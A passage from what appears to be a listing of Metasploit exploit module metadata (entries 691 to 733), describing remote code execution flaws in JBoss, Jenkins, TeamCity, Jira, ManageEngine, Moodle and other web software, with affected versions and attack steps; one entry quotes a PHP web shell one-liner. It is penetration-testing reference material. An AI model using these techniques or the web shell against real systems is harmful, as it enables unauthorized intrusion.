 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-02-20

Payload information:

Description:
  This module can be used to execute a payload on JBoss servers that
have
  an exposed "jmx-console" application. The payload is put on the
server by
  using the jboss.system:MainDeployer functionality. To accomplish
```

```
this, a
  temporary HTTP server is created to serve a WAR archive containing
our
  payload. This method will only work if the target server allows
outbound
  connections to us.

End Exploit Number 691

Begin Exploit Number 692
       Name: JBoss Seam 2 File Upload and Execute
     Module: exploit/multi/http/jboss_seam_upload_exec
   Platform: Java
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-08-05

Payload information:

Description:
  Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
  sanitize inputs to some JBoss Expression Language expressions.  As a
  result, attackers can gain remote code execution through the
  application server.  This module leverages RCE to upload and execute
  a given payload.

  Versions of the JBoss application server (AS) admin-console are
  known to be vulnerable to this exploit, without requiring
authentication.
  Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.

  This module provides a more efficient method of exploitation - it
  does not loop to find desired Java classes and methods.

End Exploit Number 692

Begin Exploit Number 693
       Name: Jenkins ACL Bypass and Metaprogramming RCE
     Module: exploit/multi/http/jenkins_metaprogramming
   Platform: Unix, Java
       Arch: cmd, java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-01-08

Payload information:
```

```
Description:
  This module exploits a vulnerability in Jenkins dynamic routing to
  bypass the Overall/Read ACL and leverage Groovy metaprogramming to
  download and execute a malicious JAR file.

  When the "Java Dropper" target is selected, the original entry point
  based on classLoader.parseClass is used, which requires the use of
  Groovy metaprogramming to achieve RCE.

  When the "Unix In-Memory" target is selected, a newer, higher-level,
  and more universal entry point based on GroovyShell.parse is used.
  This permits the use of in-memory arbitrary command execution.

  The ACL bypass gadget is specific to Jenkins <= 2.137 and will not
work
  on later versions of Jenkins.

  Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.

End Exploit Number 693

Begin Exploit Number 694
       Name: Jenkins-CI Script-Console Java Execution
     Module: exploit/multi/http/jenkins_script_console
   Platform: Windows, Linux, Unix
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2013-01-18

Payload information:

Description:
  This module uses the Jenkins-CI Groovy script console to execute
  OS commands using Java.

End Exploit Number 694

Begin Exploit Number 695
       Name: Jenkins XStream Groovy classpath Deserialization
Vulnerability
     Module: exploit/multi/http/jenkins_xstream_deserialize
   Platform: Windows, Linux, Unix
       Arch: cmd, python, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-24
```

```
Payload information:

Description:
  This module exploits CVE-2016-0792 a vulnerability in Jenkins
versions older than 1.650 and Jenkins LTS versions
  older than 1.642.2 which is caused by unsafe deserialization in
XStream with Groovy in the classpath,
  which allows remote arbitrary code execution. The issue affects
default installations. Authentication
  is not required to exploit the vulnerability.

End Exploit Number 695

Begin Exploit Number 696
       Name: JetBrains TeamCity Unauthenticated Remote Code Execution
     Module: exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793
   Platform: Windows, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-09-19

Payload information:
  Space: 1024

Description:
  This module exploits an authentication bypass vulnerability to
achieve unauthenticated remote code execution
  against a vulnerable JetBrains TeamCity server. All versions of
TeamCity prior to version 2023.05.4 are
  vulnerable to this issue. The vulnerability was originally
discovered by SonarSource.

End Exploit Number 696

Begin Exploit Number 697
       Name: JetBrains TeamCity Unauthenticated Remote Code Execution
     Module: exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198
   Platform: Java, Windows, Linux, Unix
       Arch: java, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-04

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in
```

```
JetBrains TeamCity. An unauthenticated
  attacker can leverage this to access the REST API and create a new
administrator access token. This token
  can be used to upload a plugin which contains a Metasploit payload,
allowing the attacker to achieve
  unauthenticated RCE on the target TeamCity server. On older versions
of TeamCity, access tokens do not exist
  so the exploit will instead create a new administrator account
before uploading a plugin. Older version of
  TeamCity have a debug endpoint (/app/rest/debug/process) that allows
for arbitrary commands to be executed,
  however recent version of TeamCity no longer ship this endpoint,
hence why a plugin is leveraged for code
  execution instead, as this is supported on all versions tested.

End Exploit Number 697

Begin Exploit Number 698
       Name: Atlassian HipChat for Jira Plugin Velocity Template
Injection
     Module: exploit/multi/http/jira_hipchat_template
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-10-28

Payload information:

Description:
  Atlassian Hipchat is a web service for internal instant messaging. A
plugin is available
  for Jira that allows team collaboration at real time. A message can
be used to inject Java
  code into a Velocity template, and gain code execution as Jira.
Authentication is required
  to exploit this vulnerability, and you must make sure the account
you're using isn't
  protected by captcha. By default, Java payload will be used because
it is cross-platform,
  but you can also specify which native payload you want (Linux or
Windows).

  HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are
affected. Jira versions
  between 6.3.5 and 6.4.10 are also affected by default, because they
were bundled with
  a vulnerable copy of HipChat.
  When using the check command, if you supply a valid username and
password, the module
  will be able to trigger the bug and check more accurately. If not,
it falls back to
  passive, which can only tell if the target is running on a Jira
version that is bundled
  with a vulnerable copy of Hipchat by default, which is less
reliable.

  This vulnerability was originally discovered internally by
Atlassian.

End Exploit Number 698

Begin Exploit Number 699
       Name: Atlassian Jira Authenticated Upload Code Execution
     Module: exploit/multi/http/jira_plugin_upload
   Platform: Java
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-02-22

Payload information:

Description:
  This module can be used to execute a payload on Atlassian Jira via
  the Universal Plugin Manager(UPM). The module requires valid login
  credentials to an account that has access to the plugin manager.
  The payload is uploaded as a JAR archive containing a servlet using
  a POST request against the UPM component. The check command will
  test the validity of user supplied credentials and test for access
  to the plugin manager.

End Exploit Number 699

Begin Exploit Number 700
       Name: Joomla HTTP Header Unauthenticated Remote Code Execution
     Module: exploit/multi/http/joomla_http_header_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-14

Payload information:

Description:
  Joomla suffers from an unauthenticated remote code execution that
affects all versions from 1.5.0 to 3.4.5.
  By storing user supplied headers in the databases session table it's
possible to truncate the input
  by sending an UTF-8 character. The custom created payload is then
executed once the session is read
  from the database. You also need to have a PHP version before 5.4.45
(including 5.3.x), 5.5.29 or 5.6.13.
  In later versions the deserialisation of invalid session data stops
on the first error and the
  exploit will not work. The PHP Patch was included in Ubuntu versions
5.5.9+dfsg-1ubuntu4.13 and
  5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.

End Exploit Number 700

Begin Exploit Number 701
       Name: Kong Gateway Admin API Remote Code Execution
     Module: exploit/multi/http/kong_gateway_admin_api_rce
   Platform: Linux, OSX
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-13

Payload information:

Description:
  This module uses the Kong admin API to create a route and a
serverless function plugin that is associated with
  the route. The plugin runs Lua code and is used to run a system
command using os.execute(). After execution the
  route is deleted, which also deletes the plugin.

End Exploit Number 701

Begin Exploit Number 702
       Name: Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File
Upload Vulnerability
     Module: exploit/multi/http/kordil_edms_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-22

Payload information:
```

```
Description:
  This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.
  This application has an upload feature that allows an
unauthenticated user
  to upload arbitrary files to the '/kordil_edms/userpictures/'
directory.

End Exploit Number 702

Begin Exploit Number 703
       Name: LotusCMS 3.0 eval() Remote Command Execution
     Module: exploit/multi/http/lcms_php_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-03-03

Payload information:
  Space: 4000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Lotus CMS 3.0's
Router()
  function.  This is done by embedding PHP code in the 'page'
parameter,
  which will be passed to a eval call, therefore allowing remote code
execution.

    The module can either automatically pick up a 'page' parameter
from the
  default page, or manually specify one in the URI option.  To use the
automatic
  method, please supply the URI with just a directory path, for
example: "/lcms/".
  To manually configure one, you may do: "/lcms/somepath/index.php?
page=index"

End Exploit Number 703

Begin Exploit Number 704
       Name: Liferay Portal Java Unmarshalling via JSONWS RCE
     Module: exploit/multi/http/liferay_java_unmarshalling
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-25

Payload information:

Description:
  This module exploits a Java unmarshalling vulnerability via JSONWS 
in
  Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1
  GA2 to execute code as the Liferay user. Tested against 7.2.0 GA1.

End Exploit Number 704

Begin Exploit Number 705
       Name: Log1 CMS writeInfo() PHP Code Injection
     Module: exploit/multi/http/log1cms_ajax_create_folder
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-04-11

Payload information:
  Avoid: 1 characters

Description:
  This module exploits the "Ajax File and Image Manager" component 
that can be
  found in log1 CMS.  In function.base.php of this component, the 
'data' parameter
  in writeInfo() allows any malicious user to have direct control of 
writing data
  to file data.php, which results in arbitrary remote code execution.

End Exploit Number 705

Begin Exploit Number 706
       Name: Log4Shell HTTP Header Injection
     Module: exploit/multi/http/log4shell_header_injection
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-09

Payload information:

Description:
  Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow
```

```
JNDI features used in configuration,
  log messages, and parameters, do not protect against attacker
controlled LDAP and other JNDI related endpoints.

  This module will exploit an HTTP end point with the Log4Shell
vulnerability by injecting a format message that
  will trigger an LDAP connection to Metasploit and load a payload.

  The Automatic target delivers a Java payload using remote class
loading. This requires Metasploit to run an HTTP
  server in addition to the LDAP server that the target can connect
to. The targeted application must have the
  trusted code base option enabled for this technique to work.

  The non-Automatic targets deliver a payload via a serialized Java
object. This does not require Metasploit to
  run an HTTP server and instead leverages the LDAP server to deliver
the serialized object. The target
  application in this case must be compatible with the user-specified
JAVA_GADGET_CHAIN option.

End Exploit Number 706

Begin Exploit Number 707
       Name: Lucee Authenticated Scheduled Job Code Execution
     Module: exploit/multi/http/lucee_scheduled_job
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-02-10

Payload information:

Description:
  This module can be used to execute a payload on Lucee servers that
have an exposed
  administrative web interface. It's possible for an administrator to
create a
  scheduled job that queries a remote ColdFusion file, which is then
downloaded and executed
  when accessed. The payload is uploaded as a cfm file when queried by
the target server. When executed,
  the payload will run as the user specified during the Lucee
installation. On Windows, this is a service account;
  on Linux, it is either the root user or lucee.

End Exploit Number 707
```

```
Begin Exploit Number 708
       Name: Magento 2.0.6 Unserialize Remote Code Execution
     Module: exploit/multi/http/magento_unserialize
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-05-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a PHP object injection vulnerability in Magento
2.0.6
  or prior.

End Exploit Number 708

Begin Exploit Number 709
       Name: Mako Server v2.5, 2.6 OS Command Injection RCE
     Module: exploit/multi/http/makoserver_cmd_exec
   Platform: Windows, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-09-03

Payload information:

Description:
  This module exploits a vulnerability found in Mako Server v2.5, 2.6.
  It's possible to inject arbitrary OS commands in the Mako Server
  tutorial page through a PUT request to save.lsp.

  Attacker input will be saved on the victims machine and can
  be executed by sending a GET request to manage.lsp.

End Exploit Number 709

Begin Exploit Number 710
       Name: ManageEngine Desktop Central / Password Manager
LinkViewFetchServlet.dat SQL Injection
     Module: exploit/multi/http/manage_engine_dc_pmp_sqli
   Platform: Linux, Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2014-06-08

Payload information:

Description:
  This module exploits an unauthenticated blind SQL injection in
LinkViewFetchServlet,
  which is exposed in ManageEngine Desktop Central v7 build 70200 to
v9 build 90033 and
  Password Manager Pro v6 build 6500 to v7 build 7002 (including the
MSP versions). The
  SQL injection can be used to achieve remote code execution as SYSTEM
in Windows or as
  the user in Linux. This module exploits both PostgreSQL (newer
builds) and MySQL (older
  or upgraded builds). MySQL targets are more reliable due to the use
of relative paths;
  with PostgreSQL you should find the web root path via other means
and specify it with
  WEB_ROOT.

  The injection is only exploitable via a GET request, which means
that the payload
  has to be sent in chunks smaller than 8000 characters (URL size
limitation). Small
  payloads and the use of exe-small is recommended, as you can only do
between 10 and
  20 injections before using up all the available ManagedConnections
until the next
  server restart.

  This vulnerability exists in all versions released since 2006,
however builds below
  DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can
still try your
  luck using the MySQL targets as a JDK might be installed in the
$PATH.

End Exploit Number 710

Begin Exploit Number 711
       Name: ManageEngine ADSelfService Plus Unauthenticated SAML RCE
     Module: exploit/multi/http/
manageengine_adselfservice_plus_saml_rce_cve_2022_47966
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-10

Payload information:
  Avoid: 1 characters

Description:
  This exploits an unauthenticated remote code execution vulnerability
  that affects Zoho ManageEngine AdSelfService Plus versions 6210 and
  below (CVE-2022-47966). Due to a dependency to an outdated library
  (Apache Santuario version 1.4.1), it is possible to execute
arbitrary
  code by providing a crafted `samlResponse` XML to the ADSelfService
Plus
  SAML endpoint. Note that the target is only vulnerable if it has
been
  configured with SAML-based SSO at least once in the past, regardless
of
  the current SAML-based SSO status.

End Exploit Number 711

Begin Exploit Number 712
       Name: ManageEngine Multiple Products Authenticated File Upload
     Module: exploit/multi/http/manageengine_auth_upload
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-15

Payload information:

Description:
  This module exploits a directory traversal vulnerability in
ManageEngine ServiceDesk,
  AssetExplorer, SupportCenter and IT360 when uploading attachment
files. The JSP that accepts
  the upload does not handle correctly '../' sequences, which can be
abused to write
  to the file system. Authentication is needed to exploit this
vulnerability, but this module
  will attempt to login using the default credentials for the
administrator and guest
  accounts. Alternatively, you can provide a pre-authenticated cookie
or a username / password.
  For IT360 targets, enter the RPORT of the ServiceDesk instance
(usually 8400). All
  versions of ServiceDesk prior v9 build 9031 (including MSP but
excluding v4), AssetExplorer,
  SupportCenter and IT360 (including MSP) are vulnerable. At the time
of release of this
  module, only ServiceDesk v9 has been fixed in build 9031 and above.
This module has
  been tested successfully in Windows and Linux on several versions.

End Exploit Number 712

Begin Exploit Number 713
       Name: ManageEngine ServiceDesk Plus Arbitrary File Upload
     Module: exploit/multi/http/manageengine_sd_uploader
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-20

Payload information:

Description:
  This module exploits a file upload vulnerability in ManageEngine
ServiceDesk Plus.
  The vulnerability exists in the FileUploader servlet which accepts
unauthenticated
  file uploads. This module has been tested successfully on versions
v9 b9000 - b9102
  in Windows and Linux. The MSP versions do not expose the vulnerable
servlet.

End Exploit Number 713

Begin Exploit Number 714
       Name: ManageEngine Security Manager Plus 5.5 Build 5505 SQL
Injection
     Module: exploit/multi/http/manageengine_search_sqli
   Platform: Linux, Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-18

Payload information:

Description:
  This module exploits a SQL injection found in ManageEngine Security
Manager Plus
  advanced search page, which results in remote code execution under
the context of
```

```
  SYSTEM in Windows; or as the user in Linux.  Authentication is not
required in order
  to exploit this vulnerability.

End Exploit Number 714

Begin Exploit Number 715
       Name: ManageEngine ServiceDesk Plus Unauthenticated SAML RCE
     Module: exploit/multi/http/
manageengine_servicedesk_plus_saml_rce_cve_2022_47966
   Platform: Windows, Unix, Linux, Java
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-10

Payload information:

Description:
  This exploits an unauthenticated remote code execution vulnerability
  that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and
  below (CVE-2022-47966). Due to a dependency to an outdated library
  (Apache Santuario version 1.4.1), it is possible to execute
arbitrary
  code by providing a crafted `samlResponse` XML to the ServiceDesk
Plus
  SAML endpoint. Note that the target is only vulnerable if it has
been
  configured with SAML-based SSO at least once in the past, regardless
of
  the current SAML-based SSO status.

End Exploit Number 715

Begin Exploit Number 716
       Name: Mantis manage_proj_page PHP Code Execution
     Module: exploit/multi/http/mantisbt_manage_proj_page_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-10-16

Payload information:

Description:
  Mantis v1.1.3 and earlier are vulnerable to a post-authentication
Remote
```

```
  Code Execution vulnerability in the sort parameter of the
  manage_proj_page.php page.

End Exploit Number 716

Begin Exploit Number 717
       Name: MantisBT XmlImportExport Plugin PHP Code Injection
Vulnerability
     Module: exploit/multi/http/mantisbt_php_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-11-08

Payload information:

Description:
  This module exploits a post-auth vulnerability found in MantisBT
versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is
installed.
  The vulnerable code exists on plugins/XmlImportExport/ImportXml.php,
which receives user input through the "description" field and the
"issuelink" attribute of an uploaded XML file and passes to
preg_replace() function with the /e modifier.
  This allows a remote authenticated attacker to execute arbitrary PHP
code on the remote machine.
  This version also suffers from another issue. The import page is not
checking the correct user level
  of the user, so it's possible to exploit this issue with any user
including the anonymous one if enabled.

End Exploit Number 717

Begin Exploit Number 718
       Name: MaraCMS Arbitrary PHP File Upload
     Module: exploit/multi/http/maracms_upload_exec
   Platform: Linux, Windows, PHP
       Arch: x86, x64, php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-08-31

Payload information:
  Avoid: 3 characters

Description:
  This module exploits an arbitrary file upload vulnerability in
  MaraCMS 7.5 and prior in order to execute arbitrary commands.

  The module first attempts to authenticate to MaraCMS. It then tries
  to upload a malicious PHP file to the web root via an HTTP POST
  request to `codebase/handler.php.` If the `php` target is selected,
  the payload is embedded in the uploaded file and the module attempts
  to execute the payload via an HTTP GET request to this file. For the
  `linux` and `windows` targets, the module uploads a simple PHP web
  shell similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it
  leverages the CmdStager mixin to deliver the final payload via a
  series of HTTP GET requests to the PHP web shell.

  Valid credentials for a MaraCMS `admin` or `manager` account are
  required. This module has been successfully tested against MaraCMS
  7.5 running on Windows Server 2012 (XAMPP server).

End Exploit Number 718

Begin Exploit Number 719
       Name: MediaWiki SyntaxHighlight extension option injection
vulnerability
     Module: exploit/multi/http/mediawiki_syntaxhighlight
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-04-06

Payload information:
  Avoid: 35 characters

Description:
  This module exploits an option injection vulnerability in the
SyntaxHighlight
  extension of MediaWiki. It tries to create & execute a PHP file in
the document root.
  The USERNAME & PASSWORD options are only needed if the Wiki is
configured as private.

  This vulnerability affects any MediaWiki installation with
SyntaxHighlight version 2.0
  installed & enabled. This extension ships with the AIO package of
MediaWiki version
  1.27.x & 1.28.x. A fix for this issue is included in MediaWiki
version 1.28.2 and
  version 1.27.3.

End Exploit Number 719
```

```
Begin Exploit Number 720
       Name: MediaWiki Thumb.php Remote Command Execution
     Module: exploit/multi/http/mediawiki_thumb
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-28

Payload information:
  Avoid: 2 characters

Description:
  MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x 
before 1.19.11,
  when DjVu or PDF file upload support is enabled, allows remote 
unauthenticated
  users to execute arbitrary commands via shell metacharacters. If no 
target file
  is specified this module will attempt to log in with the provided 
credentials to
  upload a file (.DjVu) to use for exploitation.

End Exploit Number 720

Begin Exploit Number 721
       Name: Metasploit Web UI Static secret_key_base Value
     Module: exploit/multi/http/metasploit_static_secret_key_base
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-09-15

Payload information:

Description:
  This module exploits the Web UI for Metasploit Community, Express 
and
  Pro where one of a certain set of Weekly Releases have been applied.
  These Weekly Releases introduced a static secret_key_base value.
  Knowledge of the static secret_key_base value allows for
  deserialization of a crafted Ruby Object, achieving code execution.

  This module is based on
  exploits/multi/http/rails_secret_deserialization

End Exploit Number 721
```

```
Begin Exploit Number 722
       Name: Metasploit Web UI Diagnostic Console Command Execution
     Module: exploit/multi/http/
metasploit_webui_console_command_execution
   Platform: 
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-08-23

Payload information:

Description:
  This module exploits the "diagnostic console" feature in the 
Metasploit
  Web UI to obtain a reverse shell.

  The diagnostic console is able to be enabled or disabled by an
  administrator on Metasploit Pro and by an authenticated user on
  Metasploit Express and Metasploit Community. When enabled, the
  diagnostic console provides access to msfconsole via the web 
interface.
  An authenticated user can then use the console to execute shell
  commands.

  NOTE: Valid credentials are required for this module.

  Tested against:

  Metasploit Community 4.1.0,
  Metasploit Community 4.8.2,
  Metasploit Community 4.12.0


End Exploit Number 722

Begin Exploit Number 723
       Name: Micro Focus Operations Bridge Manager Authenticated 
Remote Code Execution
     Module: exploit/multi/http/microfocus_obm_auth_rce
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-28

Payload information:
```

```
Description:
  This module exploits an authenticated Java deserialization that
affects a truckload of Micro
  Focus products: Operations Bridge Manager, Application Performance
Management, Data Center Automation,
  Universal CMDB, Hybrid Cloud Management and Service Management
Automation. However this module
  was only tested on Operations Bridge Manager.
  Exploiting this vulnerability will result in remote code execution
as the root user on Linux or
  the SYSTEM user on Windows.
  Authentication is required, the module user needs to login to the
application and obtain the
  authenticated LWSSO_COOKIE_KEY, which should be fed to the module.
Any authenticated user can
  exploit this vulnerability, even the lowest privileged ones.
  For more information refer to the advisory link below.

End Exploit Number 723

Begin Exploit Number 724
       Name: Micro Focus UCMDB Java Deserialization Unauthenticated
Remote Code Execution
     Module: exploit/multi/http/microfocus_ucmdb_unauth_deser
   Platform: Unix, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-28

Payload information:

Description:
  This module exploits two vulnerabilities, that when chained allow an
attacker
  to achieve unauthenticated remote code execution in Micro Focus
UCMDB.
  UCMDB included in versions 2020.05 and below of Operations Bridge
Manager are affected,
  but this module can probably also be used to exploit Operations
Bridge Manager
  (containerized) and Application Performance Management.
  Check the advisory and module documentation for details.
  The first vulnerability is a hardcoded password for the
"diagnostics" user, which
  allows us to login to UCMDB. The second vulnerability is a run-of-
the-mill Java
  deserialization, which can be exploited with ysoserial's
```

```
CommonsBeanutils1 payload.
  Both Windows and Linux installations are vulnerable.

End Exploit Number 724

Begin Exploit Number 725
       Name: Mirth Connect Deserialization RCE
     Module: exploit/multi/http/mirth_connect_cve_2023_43208
   Platform: Unix, Linux, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-25

Payload information:

Description:
  A vulnerability exists within Mirth Connect due to its mishandling
of deserialized data. This vulnerability
  can be leveraged by an attacker using a crafted HTTP request to
execute OS commands within the context of the
  target application. The original vulnerability was identified by
IHTeam and assigned CVE-2023-37679. Later,
  researchers from Horizon3.ai determined the patch to be incomplete
and published a gadget chain which bypassed
  the deny list that the original had implemented. This second
vulnerability was assigned CVE-2023-43208 and was
  patched in Mirth Connect version 4.4.1. This module has been tested
on versions 4.1.1, 4.3.0 and 4.4.0.

End Exploit Number 725

Begin Exploit Number 726
       Name: Th3 MMA mma.php Backdoor Arbitrary File Upload
     Module: exploit/multi/http/mma_backdoor_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-04-02

Payload information:
  Space: 10000

Description:
  This module exploits Th3 MMA mma.php Backdoor which allows an
arbitrary file upload that
  leads to arbitrary code execution. This backdoor also echoes the
```

```
Linux kernel version or
  operating system version because of the php_uname() function.

End Exploit Number 726

Begin Exploit Number 727
       Name: MobileCartly 1.0 Arbitrary File Creation Vulnerability
     Module: exploit/multi/http/mobilecartly_upload_exec
   Platform: Linux, PHP
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-10

Payload information:
  Space: 8000

Description:
  This module exploits a vulnerability in MobileCartly.  The 
savepage.php file
  does not do any permission checks before using file_put_contents(), 
which
  allows any user to have direct control of that function to create 
files
  under the 'pages' directory by default, or anywhere else as long as 
the user
  has WRITE permission.

End Exploit Number 727

Begin Exploit Number 728
       Name: Monitorr unauthenticated Remote Code Execution (RCE)
     Module: exploit/multi/http/monitorr_webshell_rce_cve_2020_28871
   Platform: Unix, Linux, Windows, PHP
       Arch: cmd, php, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-16

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability and 
achieving an RCE in the Monitorr application.
  Using a specially crafted request, custom PHP code can be uploaded 
and injected through endpoint upload.php because of missing input 
validation.
  Any user privileges can exploit this vulnerability and it results in
```

```
access to the underlying operating system with the same privileges
  under which the web services run (typically user www-data).
  Monitorr 1.7.6m, 1.7.7d and below are affected.

End Exploit Number 728

Begin Exploit Number 729
       Name: Monstra CMS Authenticated Arbitrary File Upload
     Module: exploit/multi/http/monstra_fileupload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-12-18

Payload information:

Description:
  MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads
to remote command execution on the remote server.
  An attacker may choose to upload a file containing PHP code and run
this code by accessing the resulting PHP file.
  This module was tested against MonstraCMS 3.0.4.

End Exploit Number 729

Begin Exploit Number 730
       Name: Moodle Admin Shell Upload
     Module: exploit/multi/http/moodle_admin_shell_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-28

Payload information:
  Space: 6070
  Avoid: 1 characters

Description:
  This module will generate a plugin which can receive a malicious
  payload request and upload it to a server running Moodle
  provided valid admin credentials are used.  Then the payload
  is sent for execution, and the plugin uninstalled.

  You must have an admin account to exploit this vulnerability.

  Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
```

```
End Exploit Number 730

Begin Exploit Number 731
       Name: Moodle Authenticated Spelling Binary RCE
     Module: exploit/multi/http/moodle_spelling_binary_rce
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-30

Payload information:

Description:
  Moodle allows an authenticated user to define spellcheck settings
via the web interface.
  The user can update the spellcheck mechanism to point to a system-
installed aspell binary.
  By updating the path for the spellchecker to an arbitrary command,
an attacker can run
  arbitrary commands in the context of the web application upon
spellchecking requests.

  This module also allows an attacker to leverage another privilege
escalation vuln.
  Using the referenced XSS vuln, an unprivileged authenticated user
can steal an admin sesskey
  and use this to escalate privileges to that of an admin, allowing
the module to pop a shell
  as a previously unprivileged authenticated user.

  This module was tested against Moodle version 2.5.2 and 2.2.3.

End Exploit Number 731

Begin Exploit Number 732
       Name: Moodle SpellChecker Path Authenticated Remote Command
Execution
     Module: exploit/multi/http/moodle_spelling_path_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-06-22

Payload information:
  Avoid: 1 characters
```

```
Description:
  Moodle allows an authenticated administrator to define spellcheck
settings via the web interface.
  An administrator can update the aspell path to include a command
injection. This is extremely
  similar to CVE-2013-3630, just using a different variable.

  This module was tested against Moodle version 3.11.2, 3.10.0, and
3.8.0.

End Exploit Number 732

Begin Exploit Number 733
       Name: Moodle Teacher Enrollment Privilege Escalation to RCE
     Module: exploit/multi/http/
moodle_teacher_enrollment_priv_esc_to_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2020-07-20

Payload information:
  Space: 6070
  Avoid: 1 characters

Description:
  Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and
earlier unsupported versions
  allow for a teacher to exploit chain to RCE.  A bug in the
privileges system allows a teacher
  to add themselves as a manager to their own class. They can then add
any other users, and thus
  look to add someone with manager privileges on the system (not just
the class).  After
